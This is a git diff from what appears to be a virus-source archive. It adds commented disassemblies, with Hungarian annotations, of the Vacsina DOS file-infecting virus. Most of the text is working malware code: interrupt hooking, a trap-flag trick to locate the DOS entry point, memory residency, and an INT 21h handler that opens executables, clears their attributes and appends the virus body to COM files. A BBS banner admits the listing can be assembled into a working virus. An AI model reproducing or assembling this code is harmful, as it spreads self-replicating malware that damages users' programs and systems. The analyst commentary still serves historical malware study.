8C0E0100 MOV [0001],CS ;Gazda az j_cs + + + ; Vrus visszamsolsa a rgi szegmens elejre + +04AE BF0000 MOV DI,0000 +04B1 8BF3 MOV SI,BX ;bx=038E +04B3 81C672FC ADD SI,FC72 ;si=0000 (vrus eleje) +04B7 B9E006 MOV CX,06E0 ;vrus hossza (byteben) +04BA 1E PUSH DS +04BB 07 POP ES ;es=rgi_ds-1 +04BC 0E PUSH CS +04BD 1F POP DS ;ds=j_cs +04BE F3 REPZ ;Vrus visszamsolsa a szabadd tet + t helyre +04BF A4 MOVSB ;(PSP-1:0-ra) +04C0 53 PUSH BX + + + ; Az eredeti program j PSP-t kap + +04C1 8CCB MOV BX,CS +04C3 B450 MOV AH,50 ;SET_PSP (bx) +04C5 CD21 INT 21 +04C7 5B POP BX +04C8 2E CS: +04C9 8C0E3600 MOV [0036],CS ;PSP-n bell a megfelel bejegyzs + trsa + ;(Nem dokumentlt) +04CD 2E CS: +04CE 8B162C00 MOV DX,[002C] ;Environment szegmense +04D2 4A DEC DX ;Environment mem. ler blokkja +04D3 8EC2 MOV ES,DX +04D5 26 ES: +04D6 8C0E0100 MOV [0001],CS ;Tulajdonos az j PSP +04DA 8CD2 MOV DX,SS +04DC 4A DEC DX +04DD 8EDA MOV DS,DX ;ds=ss-1 Environment vge + + + ; Az INT 21 s az INT 09 lekrdezse + +04DF 53 PUSH BX +04E0 B82135 MOV AX,3521 ;GET_INT_VECT (es:bx) +04E3 CD21 INT 21 +04E5 8C061200 MOV [0012],ES ;TISZTA_INT21 (0010) +04E9 891E1000 MOV [0010],BX +04ED 8C061600 MOV [0016],ES ;ERE_INT21 (0014) +04F1 891E1400 MOV [0014],BX +04F5 B80935 MOV AX,3509 ;GET_INT_VECT (es:bx) +04F8 CD21 INT 21 +04FA 8C061E00 MOV [001E],ES ;ERE_INT09 (001C) +04FE 891E1C00 MOV [001C],BX +0502 5B POP BX + + + ; Az INT 21 ellopsa 00A0-ra + +0503 B82125 MOV AX,2521 ;SET_INT_VECT (ds:dx) +0506 BAA000 MOV DX,00A0 +0509 CD21 INT 21 + + + ; Az INT 01 ellopsa 0535-re + +050B B80125 MOV AX,2501 ;SET_INT_VECT (ds:dx) +050E BA3505 MOV DX,0535 +0511 CD21 INT 21 + + + ;Az INT 09 ellopsa 0065-re, s kzben a DOS valdi belpsi pontjnak megke + resse + +0513 BA6500 MOV DX,0065 ;ds:dx-ben az INT 09 leend cme +0516 9C PUSHF +0517 8BC3 MOV AX,BX ;bx=038E +0519 05DC01 ADD AX,01DC ;056A Itt fog folytatdni a vezrls + a DOS hvs utn +051C 0E PUSH CS +051D 50 PUSH AX +051E FA CLI +051F 9C PUSHF +0520 58 POP AX +0521 0D0001 OR AX,0100 ;Trap bit bebillentse +0524 50 PUSH AX +0525 8BC3 MOV AX,BX ;bx=038E +0527 05ADFC ADD AX,FCAD ;003B Ide fog ugrani elszr +052A 0E PUSH CS +052B 50 PUSH AX +052C B80925 MOV AX,2509 ;SET_INT_VECT (ds:dx) +052F C6062A0001 MOV BYTE PTR [002A],01 ;TRAP_FALG engedlyezve +0534 CF IRET ;STACK llapota: + ; flag + ; cs + ; 056A + ; flag (Trap bit belltva) + ; cs + ; 003B <- sp + ;Igy a futs cs:003B-n folytatdik lpsenknti futtatssal ! CS:003B-n egy + hossz ugrs + ;van INT 21 helyett. Igy a DOS az interruptbl kilpve cs:056A-ra adja a ve + zrlst. + + + ;--------------------------------------------------------------- + ; INT 01 ( Lpsenknti futtats ) + ;--------------------------------------------------------------- + ;Ha nem engedlyezett a lpsenknti futtats trli a trap bitet + +0535 55 * PUSH BP +0536 8BEC MOV BP,SP +0538 2E CS: +0539 803E2A0001 CMP BYTE PTR [002A],01 ;TRAP_FLAG +053E 740D JZ 054D ;Ugrs, ha engedlyezett a lpsenknt + i futtats +0540 816606FFFE * AND WORD PTR [BP+06],FEFF ;Egybknt a stacken trli a trap b + itet +0545 2E CS: +0546 C6062A0000 MOV BYTE PTR [002A],00 ;TRAP_FLAG = Nem engedlyezett a lp + senknti futtats +054B 5D POP BP +054C CF IRET + + + ;Ha hv_cs>=0300 akkor semmit sem csinl (mg nem jutott el a DOS-ig) + +054D 817E040003 * CMP WORD PTR [BP+04],0300 ;cs rtke a stacken (honnan hvtk + az INT 01-et) +0552 7202 JB 0556 +0554 5D POP BP +0555 CF IRET + + + ; Megtallta a DOS valdi belpsi pontjt (hv_cs<0300) + +0556 53 * PUSH BX +0557 8B5E02 MOV BX,[BP+02] ;hv_ip +055A 2E CS: +055B 891E1400 MOV [0014],BX ;TISZTA_INT21-en bell az offset +055F 8B5E04 MOV BX,[BP+04] ;hv_cs +0562 2E CS: +0563 891E1600 MOV [0016],BX ;TISZTA_INT21-en bell a szegmens +0567 5B POP BX +0568 EBD6 JMP 0540 ;Visszatrs "nem kell tbb lpsenknti futt + ats" jelzssel + + + ;--------------------------------------------------------------- + ; A DOS lpsenknti futtatsa utn ide tr vissza (0534-rl) + ;--------------------------------------------------------------- + ; A gp fertztt jelzs elhelyezse a korbbi vacsinknak + +056A C6062A0000 * MOV BYTE PTR [002A],00 ;TRAP_FLAG = nem kell lpsenknti fu + ttats +056F B80000 MOV AX,0000 +0572 8EC0 MOV ES,AX ;es=0 +0574 26 ES: +0575 C706C5007F39 MOV WORD PTR [00C5],397F;INT 31 vektornak 2.,3. byteja (nem + dokumentlt DOS + ;interrupt, valsznleg csak az els + byteot hasznlja + ;a DOS). 397F egy ellenrz sz. A k + orbbi verzij + ;vacsinknak szl. Jelentse: a gp + mr fertztt. +057B 26 ES: +057C C606C70018 MOV BYTE PTR [00C7],18 ;Verziszm (melyik vacsina van a mem + riban) + + + ; DTA tlltsa s az eredeti program futtatsa + +0581 8CC8 MOV AX,CS +0583 8ED8 MOV DS,AX +0585 B41A MOV AH,1A ;SET_DTA_ADDRESS +0587 BA5000 MOV DX,0050 ;HIBA !!! A DTA-nak cs:0080-ra kellene mutatni + a +058A CD21 INT 21 ;Megj.:Valsznleg lehagyta az r a + 'H'-t a szm +058C 2E CS: ;vgrl, ugyanis 80D=50H +058D 8B879AFC MOV AX,[BX+FC9A] ;ERE_AX (0028) Megj.: Teljesen feles + leges +0591 E939FE JMP 03CD ;Ugrs az eredeti program futtatsra + + + ;--------------------------------------------------------------- + ; Ksleltets + ;--------------------------------------------------------------- + ; bx = ksleltets 0.01 mp-ben + +0594 50 * PUSH AX +0595 53 PUSH BX +0596 51 PUSH CX +0597 52 PUSH DX +0598 B42C MOV AH,2C ;GET_TIME (cx:dx) +059A CD21 INT 21 ;lltlag AL-ben a ht napjt adja v + issza ! +059C 8AE5 MOV AH,CH +059E 02C1 ADD AL,CL +05A0 02FE ADD BH,DH +05A2 02DA ADD BL,DL ;Meddig kell zenlni (idpont) +05A4 80FB64 CMP BL,64 ;100D szzadmsodperc +05A7 7205 JB 05AE ;OK +05A9 80EB64 SUB BL,64 ;Tlcsorgsnl +05AC FEC7 INC BH +05AE 80FF3C * CMP BH,3C ;60 mp +05B1 7205 JB 05B8 ;OK +05B3 80EF3C SUB BH,3C ;Tlcsorgsnl +05B6 FEC0 INC AL +05B8 3C3C * CMP AL,3C ;60 perc +05BA 7204 JB 05C0 ;OK +05BC 2C3C SUB AL,3C ;Tlcsorgsnl +05BE FEC4 INC AH +05C0 80FC18 * CMP AH,18 ;24 ra +05C3 7502 JNZ 05C7 ;Ok +05C5 2AE4 SUB AH,AH ;Tlcsorgsnl +05C7 50 * PUSH AX ;Ciklus amg elrjk a kijellt idp + ontot +05C8 B42C MOV AH,2C +05CA CD21 INT 21 +05CC 58 POP AX +05CD 3BC8 CMP CX,AX +05CF 7706 JA 05D7 +05D1 72F4 JB 05C7 +05D3 3BD3 CMP DX,BX +05D5 72F0 JB 05C7 +05D7 5A * POP DX ;Ksleltets vge +05D8 59 POP CX +05D9 5B POP BX +05DA 58 POP AX +05DB C3 RET + + + ;--------------------------------------------------------------- + ; Egy hang megszlaltatsa + ;--------------------------------------------------------------- + ; di = hangmagassg + ; bl = hanghossz + ; cl = 0 + ; bh = 0 + +05DC 50 * PUSH AX +05DD 51 PUSH CX +05DE 52 PUSH DX +05DF 57 PUSH DI +05E0 B0B6 MOV AL,B6 ;(10110110) 3. zemmd, 2. csatorna, alacsonyabb- + magasabb sorrend +05E2 E643 OUT 43,AL ;Timer programozsa +05E4 BA1400 MOV DX,0014 +05E7 B88032 MOV AX,3280 ;dx:ax=1323648D +05EA F7F7 DIV DI ;osztva a hangmagassggal +05EC E642 OUT 42,AL ;Als byte +05EE 8AC4 MOV AL,AH +05F0 E642 OUT 42,AL ;Fels byte elkldse +05F2 E461 IN AL,61 +05F4 8AE0 MOV AH,AL +05F6 0C03 OR AL,03 ;Timer engedlyezse, hangszr be +05F8 E661 OUT 61,AL +05FA 8AC1 MOV AL,CL ;cl=0 +05FC E895FF CALL 0594 ;Ksleltets +05FF 8AC4 MOV AL,AH +0601 E661 OUT 61,AL ;Hangszr kikapcs. +0603 5F POP DI +0604 5A POP DX +0605 59 POP CX +0606 58 POP AX +0607 C3 RET + + + ;--------------------------------------------------------------- + ; A megadott dallam eljtszsa + ;--------------------------------------------------------------- + +0608 8B3C * MOV DI,[SI] +060A 83FFFF CMP DI,-01 ;Vge ? +060D 7411 JZ 0620 ;-> ret +060F 3E DS: +0610 8A5E00 MOV BL,[BP+00] ;Hanghossz +0613 2AC9 SUB CL,CL ;CL=0 +0615 2AFF SUB BH,BH ;BH=0 +0617 E8C2FF CALL 05DC ;Egy hang megszlaltatsa +061A 83C602 ADD SI,+02 ;Kvetkez hang +061D 45 INC BP +061E 75E8 JNZ 0608 +0620 C3 * RET + + + ;--------------------------------------------------------------- + ; Zenl rsz ( INT 09 hvja ) + ;--------------------------------------------------------------- + +0621 BE2B06 * MOV SI,062B ;SI a "hangmagassgok" tblzatra mu + tat +0624 BD9F06 MOV BP,069F ;BP a "hanghosszok" tblzatra mutat +0627 E8DEFF CALL 0608 +062A C3 RET + + + ;--------------------------------------------------------------- + ; Hangmagassgok tblzata (062B-069E) + ;--------------------------------------------------------------- + +062B 06 PUSH ES +062C 01060125 ADD [2501],AX +0630 014901 ADD [BX+DI+01],CX +0633 06 PUSH ES +0634 014901 ADD [BX+DI+01],CX +0637 2501C4 AND AX,C401 +063A 00060106 ADD [0601],AL +063E 0125 ADD [DI],SP +0640 014901 ADD [BX+DI+01],CX +0643 06 PUSH ES +0644 01060106 ADD [0601],AX +0648 01060125 ADD [2501],AX +064C 014901 ADD [BX+DI+01],CX +064F 5D POP BP +0650 014901 ADD [BX+DI+01],CX +0653 250106 AND AX,0601 +0656 01F6 ADD SI,SI +0658 00C4 ADD AH,AL +065A 00DC ADD AH,BL +065C 00F6 ADD DH,DH +065E 00060106 ADD [0601],AL +0662 01DC ADD SP,BX +0664 00F6 ADD DH,DH +0666 00DC ADD AH,BL +0668 00AE00DC ADD [BP+DC00],CH +066C 00F6 ADD DH,DH +066E 000601DC ADD [DC01],AL +0672 00C4 ADD AH,AL +0674 00DC ADD AH,BL +0676 00C4 ADD AH,AL +0678 00AE00A4 ADD [BP+A400],CH +067C 00AE00C4 ADD [BP+C400],CH +0680 00DC ADD AH,BL +0682 00F6 ADD DH,DH +0684 00DC ADD AH,BL +0686 00AE00DC ADD [BP+DC00],CH +068A 00F6 ADD DH,DH +068C 000601DC ADD [DC01],AL +0690 00C4 ADD AH,AL +0692 000601F6 ADD [F601],AL +0696 0025 ADD [DI],AH +0698 01060106 ADD [0601],AX +069C 01FF ADD DI,DI +069E FF + + + ;--------------------------------------------------------------- + ; Hanghosszok tblzata (069F-06D7) + ;--------------------------------------------------------------- + + +069F 19 CALL FAR [BX+DI] +06A0 1919 SBB [BX+DI],BX +06A2 1919 SBB [BX+DI],BX +06A4 1919 SBB [BX+DI],BX +06A6 1919 SBB [BX+DI],BX +06A8 1919 SBB [BX+DI],BX +06AA 1932 SBB [BP+SI],SI +06AC 3219 XOR BL,[BX+DI] +06AE 1919 SBB [BX+DI],BX +06B0 1919 SBB [BX+DI],BX +06B2 1919 SBB [BX+DI],BX +06B4 1919 SBB [BX+DI],BX +06B6 1919 SBB [BX+DI],BX +06B8 1932 SBB [BP+SI],SI +06BA 321A XOR BL,[BP+SI] +06BC 191A SBB [BP+SI],BX +06BE 1919 SBB [BX+DI],BX +06C0 1919 SBB [BX+DI],BX +06C2 191A SBB [BP+SI],BX +06C4 191A SBB [BP+SI],BX +06C6 1919 SBB [BX+DI],BX +06C8 191E1A19 SBB [191A],BX +06CC 1A19 SBB BL,[BX+DI] +06CE 1919 SBB [BX+DI],BX +06D0 191E1919 SBB [1919],BX +06D4 1919 SBB [BX+DI],BX +06D6 3232 XOR DH,[BP+SI] + + + ;--------------------------------------------------------------- + ; Az utols 8 byte a vrus felismerst szolglja + ;--------------------------------------------------------------- + +06D8 ERE_HOSSZ DW ? ;A file eredeti hossza +06DA ERE_2_3 DW ? ;Eredeti 2.,3. byte + 0103 +06DC AZONOSITO DW 7AF4 ;Ez alapjn ismeri fel a fertzst +06DD VERZIO DB 18 ;Verziszm +06DF ERE_1 DB ? ;Eredeti els byte + ;Megj.: Ez az utols 8 byte mindegyik Vacsinnl (st a Yankee Doodlenl is + ) gy nz ki, + ;kivtel a 9-es verzinl korbbiakat, ott ugyanis az eredeti els byteot n + em kell menteni + ;( mivel csak JMP-pal kezdd fileokat fertznek ). + + ;-------------------------------------------------------------- + ; File, vrus vge + ;-------------------------------------------------------------- + + + +Megjegyzsek: + +- A vrus "verziszmnak" bevezetse nknyes. Egy bizonyos verzi felett mr v + alsznleg csak a + pros szmokat hasznlta az r, gy egy vrusnak (a VEZERLO-tl fggen) kt + verzija is lehet. + Taln a vrus kirtshoz hasznlhat. + Pl: mov cl,2 + mov ax,C502 ;VEZERLO megvltoztatsa + int 21 + mov ds,file_nev_szegmense + mov dx,offset file_nev + mov ax,4B00 + int 21 + +- A Yankee Doodle-bl kiderl, hogy 34-esnl nagyobb verziszm mr Yankee Doodl + e s nem Vacsina. + Egybknt a kt vrusdinasztia ugyanaz, valsznleg ugyanaz a szemly rta. + +- A C5-s DOS alfunkcihvs miatt valsznleg Novellben nem fut (az CF-fel, hi + bval tr vissza + gy a vrus mr azt hiszi, hogy bent van a memriban). + +- A Yankee Doodleben van egy hiba a C603-as funkcinl.Ebben a vrusban ez mg v + agy mr nincs benn. + Nem tudom ez mit jelenthet. + +- A Peth knyv szerint a 2C DOS funkci lltja AL-t. A vruskd pedig ezt nem + figyeli! (059A-nl) + +- A vrus a DTA-t rossz helyre lltja (ds:0050-re a ds:0080 helyett). Ez valsz + nleg azrt van, + mert az assembly listban a 80 utn lemaradt a 'H'. diff --git a/MSDOS/Virus.MSDOS.Unknown.vacsv.asm b/MSDOS/Virus.MSDOS.Unknown.vacsv.asm new file mode 100644 index 00000000..ffa09da7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vacsv.asm @@ -0,0 +1,746 @@ +;****************************************************************************; +; ; +; -=][][][][][][][][][][][][][][][=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] [=- ; +; -=] For All Your H/P/A/V Files [=- ; +; -=] SysOp: Peter Venkman [=- ; +; -=] [=- ; +; -=] +31.(o)79.426o79 [=- ; +; -=] P E R F E C T C R I M E [=- ; +; -=][][][][][][][][][][][][][][][=- ; +; ; +; *** NOT FOR GENERAL DISTRIBUTION *** ; +; ; +; This File is for the Purpose of Virus Study Only! It Should not be Passed ; +; Around Among the General Public. It Will be Very Useful for Learning how ; +; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; +; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; +; Experience can Turn it Into a far More Malevolent Program Than it Already ; +; Is. Keep This Code in Responsible Hands! ; +; ; +;****************************************************************************; +Vacsina VIRUS: `90.04.13. + Comment: Kvri Lszl + (41) 21-033 + +Unassembled list: + +13B0:0100 E96908 JMP 096C +13B0:0103 49 DEC CX +13B0:0104 60 DB 60 +13B0:0105 6D DB 6D +13B0:0106 206120 AND [BX+DI+20],AH +13B0:0109 56 PUSH SI +13B0:010A 61 DB 61 +13B0:010B 63 DB 63 +13B0:010C 7369 JNB 0177 +13B0:010E 6E DB 6E +13B0:010F 61 DB 61 +13B0:0110 205649 AND [BP+49],DL +13B0:0113 52 PUSH DX +13B0:0114 55 PUSH BP +13B0:0115 53 PUSH BX +13B0:0116 210D AND [DI],CX +13B0:0118 0A24 OR AH,[SI] +13B0:011A 0000 ADD [BX+SI],AL + +13B0:05AA 0000 ADD [BX+SI],AL +13B0:05AC B409 MOV AH,09 +13B0:05AE BA0301 MOV DX,0103 +13B0:05B1 CD21 INT 21 +13B0:05B3 B400 MOV AH,00 +13B0:05B5 CD20 INT 20 +13B0:05B7 005D00 ADD [DI+00],BL +13B0:05BA 5E POP SI +13B0:05BB 00FF ADD BH,BH +13B0:05BD FF6000 JMP [BX+SI+00] +13B0:05C0 4D DEC BP +13B0:05C1 07 POP ES +13B0:05C2 004B00 ADD [BP+DI+00],CL +13B0:05C5 0000 ADD [BX+SI],AL + +13B0:05CD 0000 ADD [BX+SI],AL +13B0:05CF 00720E ADD [BP+SI+0E],DH +13B0:05D2 AE SCASB +13B0:05D3 0F POP CS +13B0:05D4 56 PUSH SI +13B0:05D5 05200D ADD AX,0D20 +13B0:05D8 2000 AND [BX+SI],AL +13B0:05DA 050003 ADD AX,0300 +13B0:05DD 01CD ADD BP,CX +13B0:05DF 21B400CD AND [SI+CD00],SI +13B0:05E3 2000 AND [BX+SI],AL +13B0:05E5 56 PUSH SI +13B0:05E6 41 INC CX +13B0:05E7 43 INC BX +13B0:05E8 53 PUSH BX +13B0:05E9 49 DEC CX +13B0:05EA 4E DEC SI +13B0:05EB 41 INC CX +13B0:05EC 2020 AND [BX+SI],AH +13B0:05EE 2020 AND [BX+SI],AH +13B0:05F0 0000 ADD [BX+SI],AL +13B0:05F2 800000 ADD BYTE PTR [BX+SI],00 +13B0:05F5 0000 ADD [BX+SI],AL +13B0:05F7 007C11 ADD [SI+11],BH +13B0:05FA 37 AAA +13B0:05FB A800 TEST AL,00 +13B0:05FD 40 INC AX +13B0:05FE C20046 RET 4600 +13B0:0601 0A00 OR AL,[BX+SI] +13B0:0603 0000 ADD [BX+SI],AL +13B0:0605 0000 ADD [BX+SI],AL +13B0:0607 0000 ADD [BX+SI],AL +13B0:0609 2020 AND [BX+SI],AH +13B0:060B 2020 AND [BX+SI],AH +13B0:060D 2020 AND [BX+SI],AH +13B0:060F 2020 AND [BX+SI],AH +13B0:0611 2020 AND [BX+SI],AH +13B0:0613 2020 AND [BX+SI],AH +13B0:0615 2020 AND [BX+SI],AH +13B0:0617 2020 AND [BX+SI],AH +13B0:0619 2020 AND [BX+SI],AH +13B0:061B 2020 AND [BX+SI],AH + +13B0:061D E80000 CALL 0620 +13B0:0620 5B POP BX +13B0:0621 50 PUSH AX +13B0:0622 8CC0 MOV AX,ES +13B0:0624 051000 ADD AX,0010 +13B0:0627 8B0E0E01 MOV CX,[010E] +13B0:062B 03C8 ADD CX,AX +13B0:062D 894FFB MOV [BX-05],CX +13B0:0630 8B0E1601 MOV CX,[0116] +13B0:0634 03C8 ADD CX,AX +13B0:0636 894FF7 MOV [BX-09],CX +13B0:0639 8B0E1001 MOV CX,[0110] +13B0:063D 894FF9 MOV [BX-07],CX +13B0:0640 8B0E1401 MOV CX,[0114] +13B0:0644 894FF5 MOV [BX-0B],CX +13B0:0647 8B3E1801 MOV DI,[0118] +13B0:064B 8B160801 MOV DX,[0108] +13B0:064F B104 MOV CL,04 +13B0:0651 D3E2 SHL DX,CL +13B0:0653 8B0E0601 MOV CX,[0106] +13B0:0657 E317 JCXZ 0670 +13B0:0659 26 ES: +13B0:065A C5B50001 LDS SI,[DI+0100] +13B0:065E 83C704 ADD DI,+04 +13B0:0661 8CDD MOV BP,DS +13B0:0663 26 ES: +13B0:0664 032E0801 ADD BP,[0108] +13B0:0668 03E8 ADD BP,AX +13B0:066A 8EDD MOV DS,BP +13B0:066C 0104 ADD [SI],AX +13B0:066E E2E9 LOOP 0659 +13B0:0670 0E PUSH CS +13B0:0671 1F POP DS +13B0:0672 BF0001 MOV DI,0100 +13B0:0675 8BF2 MOV SI,DX +13B0:0677 81C60001 ADD SI,0100 +13B0:067B 8BCB MOV CX,BX +13B0:067D 2BCE SUB CX,SI +13B0:067F F3 REPZ +13B0:0680 A4 MOVSB +13B0:0681 58 POP AX +13B0:0682 FA CLI +13B0:0683 8E57FB MOV SS,[BX-05] +13B0:0686 8B67F9 MOV SP,[BX-07] +13B0:0689 FB STI +13B0:068A FF6FF5 JMP FAR [BX-0B] +13B0:068D B003 MOV AL,03 +13B0:068F CF IRET + + ;INT 21h rutin +13B0:0690 9C PUSHF +13B0:0691 3D004B CMP AX,4B00 ;program indts ? +13B0:0694 7406 JZ 069C ;igen +13B0:0696 9D POPF +13B0:0697 2E CS: +13B0:0698 FF2E0000 JMP FAR [0000] ;INT 21h kezdetre + +13B0:069C 06 PUSH ES +13B0:069D 1E PUSH DS +13B0:069E 55 PUSH BP +13B0:069F 57 PUSH DI +13B0:06A0 56 PUSH SI +13B0:06A1 52 PUSH DX +13B0:06A2 51 PUSH CX +13B0:06A3 53 PUSH BX +13B0:06A4 50 PUSH AX +13B0:06A5 8BEC MOV BP,SP +13B0:06A7 B82435 MOV AX,3524 +13B0:06AA CD21 INT 21 ;kilps kritikus hiba esetn + ;rutin cmnek lekrdezse +13B0:06AC 2E CS: +13B0:06AD 8C060600 MOV [0006],ES ;letrolsa seg. +13B0:06B1 2E CS: +13B0:06B2 891E0400 MOV [0004],BX ;offs +13B0:06B6 0E PUSH CS +13B0:06B7 1F POP DS +13B0:06B8 BABD00 MOV DX,00BD +13B0:06BB B82425 MOV AX,2524 +13B0:06BE CD21 INT 21 ;INT 24h tlltsa +13B0:06C0 0E PUSH CS +13B0:06C1 1F POP DS +13B0:06C2 BA1400 MOV DX,0014 +13B0:06C5 B40F MOV AH,0F +13B0:06C7 CD21 INT 21 ;FCB-s file nyits +13B0:06C9 B80043 MOV AX,4300 +13B0:06CC 8E5E0E MOV DS,[BP+0E] +13B0:06CF 8B5606 MOV DX,[BP+06] +13B0:06D2 CD21 INT 21 ;file attrib lekrd. +13B0:06D4 7303 JNB 06D9 +13B0:06D6 E9DA01 JMP 08B3 +13B0:06D9 2E CS: +13B0:06DA 890E0800 MOV [0008],CX +13B0:06DE B80143 MOV AX,4301 +13B0:06E1 80E1FE AND CL,FE +13B0:06E4 CD21 INT 21 ;file attrib bellts +13B0:06E6 7303 JNB 06EB +13B0:06E8 E9C801 JMP 08B3 +13B0:06EB B8023D MOV AX,3D02 +13B0:06EE 8E5E0E MOV DS,[BP+0E] +13B0:06F1 8B5606 MOV DX,[BP+06] +13B0:06F4 CD21 INT 21 ;file nyits r/w +13B0:06F6 7303 JNB 06FB +13B0:06F8 E9A801 JMP 08A3 +13B0:06FB 2E CS: +13B0:06FC A30A00 MOV [000A],AX +13B0:06FF 8BD8 MOV BX,AX +13B0:0701 0E PUSH CS +13B0:0702 1F POP DS +13B0:0703 BA0C00 MOV DX,000C +13B0:0706 B90600 MOV CX,0006 +13B0:0709 B43F MOV AH,3F +13B0:070B CD21 INT 21 ;els 6 byte olvassa +13B0:070D 7219 JB 0728 +13B0:070F 3D0600 CMP AX,0006 +13B0:0712 7514 JNZ 0728 ;bejtt mind ? +13B0:0714 2E CS: +13B0:0715 813E0C004D5A CMP WORD PTR [000C],5A4D ;EXE file ? +13B0:071B 7503 JNZ 0720 ;nem +13B0:071D E9B501 JMP 08D5 +13B0:0720 2E CS: +13B0:0721 803E0C00E9 CMP BYTE PTR [000C],E9 ;COM file ? +13B0:0726 7403 JZ 072B ;igen +13B0:0728 E96F01 JMP 089A + ;Teendk COM file esetn +13B0:072B B80242 MOV AX,4202 +13B0:072E B90000 MOV CX,0000 +13B0:0731 8BD1 MOV DX,CX +13B0:0733 2E CS: +13B0:0734 8B1E0A00 MOV BX,[000A] +13B0:0738 CD21 INT 21 ;file mret lekrdezse +13B0:073A 72EC JB 0728 +13B0:073C 83FA00 CMP DX,+00 ;65535 nl nagyobb ? +13B0:073F 75E7 JNZ 0728 ;igen +13B0:0741 3DB604 CMP AX,04B6 ;1026 nl kisebb ? +13B0:0744 76E2 JBE 0728 ;igen +13B0:0746 3D93F5 CMP AX,F593 ;62867-nl nagyobb ? +13B0:0749 73DD JNB 0728 ;igen +13B0:074B 2E CS: +13B0:074C A39E04 MOV [049E],AX ;mret megjegyzse +13B0:074F 2E CS: +13B0:0750 A10D00 MOV AX,[000D] +13B0:0753 050301 ADD AX,0103 +13B0:0756 2E CS: +13B0:0757 A3A004 MOV [04A0],AX +13B0:075A B80242 MOV AX,4202 +13B0:075D B9FFFF MOV CX,FFFF +13B0:0760 BAF8FF MOV DX,FFF8 +13B0:0763 2E CS: +13B0:0764 8B1E0A00 MOV BX,[000A] +13B0:0768 CD21 INT 21 ;file mretnek megnvelse +13B0:076A 72BC JB 0728 +13B0:076C 2E CS: +13B0:076D 8B1E0A00 MOV BX,[000A] +13B0:0771 0E PUSH CS +13B0:0772 1F POP DS +13B0:0773 BA0C00 MOV DX,000C +13B0:0776 B90800 MOV CX,0008 +13B0:0779 B43F MOV AH,3F +13B0:077B CD21 INT 21 ;8 byte be +13B0:077D 72A9 JB 0728 +13B0:077F 3D0800 CMP AX,0008 ;bejtt mind ? +13B0:0782 75A4 JNZ 0728 ;nem +13B0:0784 2E CS: +13B0:0785 813E1000F47A CMP WORD PTR [0010],7AF4 ;? +13B0:078B 7577 JNZ 0804 +13B0:078D 2E CS: +13B0:078E 833E120005 CMP WORD PTR [0012],+05 ;? +13B0:0793 90 NOP +13B0:0794 7392 JNB 0728 +13B0:0796 2E CS: +13B0:0797 A10C00 MOV AX,[000C] ;els beolvasott sz +13B0:079A 2E CS: +13B0:079B A39E04 MOV [049E],AX +13B0:079E 2E CS: +13B0:079F A10E00 MOV AX,[000E] +13B0:07A2 2E CS: +13B0:07A3 A3A004 MOV [04A0],AX +13B0:07A6 2D0301 SUB AX,0103 +13B0:07A9 2E CS: +13B0:07AA A30C00 MOV [000C],AX +13B0:07AD B80042 MOV AX,4200 +13B0:07B0 B90000 MOV CX,0000 +13B0:07B3 BA0100 MOV DX,0001 +13B0:07B6 2E CS: +13B0:07B7 8B1E0A00 MOV BX,[000A] +13B0:07BB CD21 INT 21 ;pozicionls a file 2. bytejra +13B0:07BD 725F JB 081E +13B0:07BF B440 MOV AH,40 +13B0:07C1 0E PUSH CS +13B0:07C2 1F POP DS +13B0:07C3 BA0C00 MOV DX,000C +13B0:07C6 B90200 MOV CX,0002 +13B0:07C9 CD21 INT 21 ;2 byte kirsa +13B0:07CB 7251 JB 081E +13B0:07CD 3D0200 CMP AX,0002 ;kirta mind ? +13B0:07D0 754C JNZ 081E ;nem +13B0:07D2 2E CS: +13B0:07D3 8B1E0A00 MOV BX,[000A] +13B0:07D7 B445 MOV AH,45 +13B0:07D9 CD21 INT 21 ;file handle kettzse +13B0:07DB 7208 JB 07E5 +13B0:07DD 8BD8 MOV BX,AX +13B0:07DF B43E MOV AH,3E +13B0:07E1 CD21 INT 21 ;file zrsa +13B0:07E3 7239 JB 081E +13B0:07E5 B80042 MOV AX,4200 +13B0:07E8 B90000 MOV CX,0000 +13B0:07EB 2E CS: +13B0:07EC 8B169E04 MOV DX,[049E] +13B0:07F0 2E CS: +13B0:07F1 8B1E0A00 MOV BX,[000A] +13B0:07F5 CD21 INT 21 ;elejre pozicionls +13B0:07F7 7225 JB 081E +13B0:07F9 B440 MOV AH,40 +13B0:07FB 0E PUSH CS +13B0:07FC 1F POP DS +13B0:07FD B90000 MOV CX,0000 +13B0:0800 CD21 INT 21 ;file mret belltsa +13B0:0802 721A JB 081E +13B0:0804 B80042 MOV AX,4200 +13B0:0807 B90000 MOV CX,0000 +13B0:080A 2E CS: +13B0:080B 8B169E04 MOV DX,[049E] +13B0:080F 83C20F ADD DX,+0F +13B0:0812 83E2F0 AND DX,-10 +13B0:0815 2E CS: +13B0:0816 8B1E0A00 MOV BX,[000A] +13B0:081A CD21 INT 21 ;file pointer mozgatsa +13B0:081C 7303 JNB 0821 +13B0:081E EB7A JMP 089A +13B0:0820 90 NOP +13B0:0821 2E CS: +13B0:0822 8B1E0A00 MOV BX,[000A] +13B0:0826 8CCA MOV DX,CS +13B0:0828 4A DEC DX +13B0:0829 8EDA MOV DS,DX +13B0:082B BA0000 MOV DX,0000 +13B0:082E B9B604 MOV CX,04B6 +13B0:0831 B440 MOV AH,40 +13B0:0833 CD21 INT 21 ;nmagnak kimsolsa +13B0:0835 72E7 JB 081E +13B0:0837 3DB604 CMP AX,04B6 ;sikerlt ? +13B0:083A 75E2 JNZ 081E ;nem +13B0:083C 2E CS: +13B0:083D 8B1E0A00 MOV BX,[000A] +13B0:0841 B445 MOV AH,45 +13B0:0843 CD21 INT 21 ;file handle kettzse +13B0:0845 7208 JB 084F +13B0:0847 8BD8 MOV BX,AX +13B0:0849 B43E MOV AH,3E +13B0:084B CD21 INT 21 ;file zrsa +13B0:084D 72CF JB 081E +13B0:084F 2E CS: +13B0:0850 C6060C00E9 MOV BYTE PTR [000C],E9 ;COM ? +13B0:0855 2E CS: +13B0:0856 8B169E04 MOV DX,[049E] +13B0:085A 83C20F ADD DX,+0F +13B0:085D 83E2F0 AND DX,-10 +13B0:0860 83EA03 SUB DX,+03 +13B0:0863 81C2AC03 ADD DX,03AC +13B0:0867 2E CS: +13B0:0868 89160D00 MOV [000D],DX +13B0:086C B80042 MOV AX,4200 +13B0:086F B90000 MOV CX,0000 